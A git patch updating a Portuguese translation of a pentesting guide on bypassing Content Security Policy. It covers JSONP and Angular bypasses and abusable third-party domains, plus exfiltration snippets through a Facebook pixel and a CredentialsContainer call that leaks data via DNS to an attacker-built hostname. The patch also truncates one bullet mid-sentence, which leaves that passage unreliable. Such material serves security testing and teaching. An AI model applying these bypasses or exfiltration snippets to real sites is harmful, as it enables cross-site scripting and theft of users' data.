From 117d3a90e447418530c58d880b7004ff0ac981e0 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 26 Jan 2025 15:24:09 +0000 Subject: [PATCH] Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM --- .../README.md | 77 ++++++++++--------- 1 file changed, 41 insertions(+), 36 deletions(-) diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index cfd2e4ec7..be5fa6d20 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -93,15 +93,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' /> - `'host'`: Especifica um host específico, como `example.com`. - `https:`: Restringe URLs àquelas que usam HTTPS. - `blob:`: Permite que recursos sejam carregados de URLs Blob (por exemplo, URLs Blob criadas via JavaScript). -- `filesystem:`: Permite que recursos sejam carregados do sistema de arquivos. -- `'report-sample'`: Inclui uma amostra do código que viola a política no relatório de violação (útil para depuração). -- `'strict-origin'`: Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras). -- `'strict-origin-when-cross-origin'`: Envia URLs completas ao fazer solicitações de mesma origem, mas apenas envia a origem quando a solicitação é de origem cruzada. -- `'unsafe-allow-redirects'`: Permite que recursos sejam carregados que redirecionarão imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança. - -## Regras CSP Inseguras - -### 'unsafe-inline' +- `filesystem:`: Permite que recursos sejam ```yaml Content-Security-Policy: script-src https://google.com 'unsafe-inline'; ``` @@ -159,7 +151,7 @@ Carga útil funcional: ```markup "/>'> ``` -No entanto, é altamente provável que o servidor **valide o arquivo enviado** e só permita que você **envie determinados tipos de arquivos**. +No entanto, é altamente provável que o servidor **valide o arquivo enviado** e só permita que você **envie tipos determinados de arquivos**. Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitam executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***. @@ -197,7 +189,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a " > ``` -#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): +#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([veja este post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): > [!NOTE] > O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cloudflare.com` (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar **quais funções de quais bibliotecas retornam o objeto `window`**. @@ -274,7 +266,7 @@ Abusando \*.google.com/script.google.com ```http Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; ``` -Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista de permissões pode ser contornado usando JSONP. Endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, payload funcional: +Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista de permissões pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, carga útil em funcionamento: ```markup "> "> @@ -292,16 +284,16 @@ A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Open Re Como descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP, e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são: -| Entidade | Domínio Permitido | Capacidades | -| ----------------- | ------------------------------------------- | ------------ | -| Facebook | www.facebook.com, \*.facebook.com | Exfil | -| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | -| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec | -| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec | -| Amazon AWS | \*.amazonaws.com | Exfil, Exec | -| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec | -| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec | -| Google Firebase | \*.firebaseapp.com | Exfil, Exec | +| Entidade | Domínio Permitido | Capacidades | +| ------------------- | ------------------------------------------ | ------------ | +| Facebook | www.facebook.com, \*.facebook.com | Exfil | +| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | +| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec | +| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec | +| Amazon AWS | \*.amazonaws.com | Exfil, Exec | +| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec | +| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec | +| Google Firebase | \*.firebaseapp.com | Exfil, Exec | Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa contornar o CSP registrando-se no serviço de terceiros e, ou exfiltrando dados para esse serviço ou executando código. @@ -322,7 +314,7 @@ Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com 5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (note que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events). 6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "seu" site. -Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado assim: +Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado como este: ```JavaScript fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account fbq('trackCustom', 'My-Custom-Event',{​ @@ -341,9 +333,9 @@ Por exemplo, se o CSP permitir o caminho `https://example.com/scripts/react/`, e ``` O navegador, em última análise, carregará `https://example.com/scripts/angular/angular.js`. -Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com o CSP. +Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, que está em conformidade com CSP. -∑, eles irão decodificá-lo, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`. +∑, eles o decodificarão, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, que é equivalente a `https://example.com/scripts/angular/angular.js`. Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**. @@ -361,7 +353,7 @@ Exemplo Online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin. Se a diretiva **base-uri** estiver ausente, você pode abusar disso para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/index.html). -Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `` note que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do endpoint **vulnerável** **callback** que **bypassa o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\ +Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `` note que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do endpoint **callback vulnerável** que **bypassa o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\ Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses @@ -700,6 +692,19 @@ var pc = new RTCPeerConnection({ }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` +### CredentialsContainer + +O popup de credenciais envia uma solicitação DNS para o iconURL sem ser restrito pela página. Ele só funciona em um contexto seguro (HTTPS) ou no localhost. +```javascript +navigator.credentials.store( +new FederatedCredential({ +id:"satoki", +name:"satoki", +provider:"https:"+your_data+"example.com", +iconURL:"https:"+your_data+"example.com" +}) +) +``` ## Verificando Políticas CSP Online - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)